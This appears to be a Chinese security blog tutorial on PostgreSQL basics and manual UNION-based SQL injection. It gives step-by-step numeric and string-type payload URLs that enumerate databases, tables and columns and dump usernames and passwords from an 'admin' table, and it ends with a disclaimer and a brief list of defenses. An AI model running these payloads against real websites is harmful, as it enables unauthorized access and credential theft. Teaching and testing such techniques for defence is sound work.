前言
PostgreSQL(简称 PG、Postgres) 是目前开源界最强大、企业级最常用的数据库之一,语法严谨、功能强大,在 Web 渗透测试中出现频率极高。
本文从零带你掌握 PostgreSQL 基础必备知识点 ,再完整讲解数字型、字符型联合注入全流程,一步步爆出库名、表名、字段名、数据,步骤超详细、新手也能看懂。
⚠️ 免责声明:本文仅用于网络安全合法学习、企业自身漏洞自查,严禁用于未授权渗透、非法攻击、数据窃取,违规后果自负!
一、PostgreSQL 数据库基础必学知识点
1.1 基础核心概念
- 数据库(Database):PG 独立的库,和 MySQL 库概念一致。
- 模式(Schema) :库下面的分类,默认是
public。 - 用户 / 角色:登录账号,权限分普通用户、超级用户(superuser)。
- 表 :存在
库.模式.表名结构下。
1.2 注入核心系统表 & 函数(最重要)
PostgreSQL 没有 MySQL 的 information_schema 那么简单,但有固定系统表:
pg_database:查所有数据库名pg_tables:查所有表名information_schema.columns:查所有字段名current_database():当前数据库名version():数据库版本current_user:当前登录用户
1.3 PG 基础语法特点
表格
| 功能 | PostgreSQL 语法 |
|---|---|
| 查询版本 | SELECT version(); |
| 当前库名 | SELECT current_database(); |
| 当前用户 | SELECT current_user; |
| 联合查询 | UNION / UNION ALL |
| 注释符 | -- 、/* */ |
| 字符串 | 单引号 ' |
| 无表查询 | 可直接 SELECT 1,无需伪表 |
二、PostgreSQL 联合注入核心知识点
2.1 什么是联合注入
通过 UNION SELECT 拼接恶意查询,把结果显示在页面回显位,直接读取敏感数据。
2.2 两大注入类型
- 数字型:无单引号包裹
- 字符型:单引号包裹(最常见)
2.3 注入必备条件
- 页面有回显位置
- 后端无过滤、无预编译
UNION前后字段数量必须一致- 字段类型尽量兼容(数字、字符串可混用)
三、PostgreSQL 完整联合注入实战(数字型 + 字符型)
统一环境假设
- 原查询字段数:3 个
- 页面存在显位
- 注释符:
--(必须带空格)
第一部分:数字型联合注入
原理
后台 SQL:
sql
SELECT id,title,content FROM news WHERE id=1
无单引号,直接注入。
完整步骤
1. 判断注入
plaintext
http://xxx.com/news?id=1'
页面报 PG 错误 → 存在注入。
2. 判断字段数
plaintext
http://xxx.com/news?id=1 ORDER BY 3--
3 正常,4 报错 → 3 个字段。
3. 判断显位
plaintext
http://xxx.com/news?id=-1 UNION SELECT 1,2,3--
4. 爆库名、表名、字段、数据
sql
-- 版本
?id=-1 UNION SELECT 1,version(),3--
-- 当前库名
?id=-1 UNION SELECT 1,current_database(),3--
-- 所有数据库
?id=-1 UNION SELECT 1,datname,3 FROM pg_database--
-- 所有表名
?id=-1 UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'--
-- 字段名
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'--
-- 数据
?id=-1 UNION SELECT 1,username,password FROM admin--
第二部分:字符型联合注入(重点!实战最多)
核心原理
后台 SQL:
sql
SELECT id,title FROM news WHERE name='test'
字符型固定格式:
plaintext
?参数=xxx' 注入语句 --
规则:
- 单引号
'闭合前面 - 写注入语句
--注释后面多余的单引号
字符型完整步骤
目标 URL:
plaintext
http://xxx.com/news?name=test
1. 判断字符型注入
plaintext
http://xxx.com/news?name=test'
报错 → 存在字符型注入。
2. 判断字段数
plaintext
http://xxx.com/news?name=test' ORDER BY 3--
3. 判断显位
plaintext
http://xxx.com/news?name=-1' UNION SELECT 1,2,3--
4. 字符型全套 Payload(直接复制用)
sql
-- 版本
?name=-1' UNION SELECT 1,version(),3--
-- 当前库名
?name=-1' UNION SELECT 1,current_database(),3--
-- 所有库
?name=-1' UNION SELECT 1,datname,3 FROM pg_database--
-- 所有表
?name=-1' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'--
-- 字段
?name=-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'--
-- 数据
?name=-1' UNION SELECT 1,username,password FROM admin--
四、数字型 & 字符型 Payload 对比表
表格
| 操作 | 数字型 Payload | 字符型 Payload |
|---|---|---|
| 检测注入 | ?id=1' |
?name=test' |
| 查字段数 | ?id=1 ORDER BY 3-- |
?name=test' ORDER BY 3-- |
| 查显位 | ?id=-1 UNION SELECT 1,2,3-- |
?name=-1' UNION SELECT 1,2,3-- |
| 查库名 | ?id=-1 UNION SELECT 1,current_database(),3-- |
?name=-1' UNION SELECT 1,current_database(),3-- |
五、PostgreSQL 注入记忆口诀
单引号闭合,联合查询拼字段,注释结尾带空格
六、PostgreSQL 注入防御方案
- 使用预编译语句,杜绝 SQL 拼接
- 过滤单引号、UNION、SELECT 等关键字
- 数据库账号使用最小权限
- 关闭数据库错误回显
- 使用 WAF 拦截注入攻击
七、结尾
到这里,PostgreSQL 数据库基础 + 数字型、字符型联合注入 全套教程就给大家彻底讲完了!从基础语法、系统表,到手工爆库、爆表、爆字段、脱数据,全部一步一步讲得清清楚楚。
PostgreSQL 是现在 Web 安全最常考、最常用的数据库之一,学会它,你就掌握了渗透测试里又一核心技能!
如果这篇干货对你有帮助,一定记得点赞、收藏、关注博主!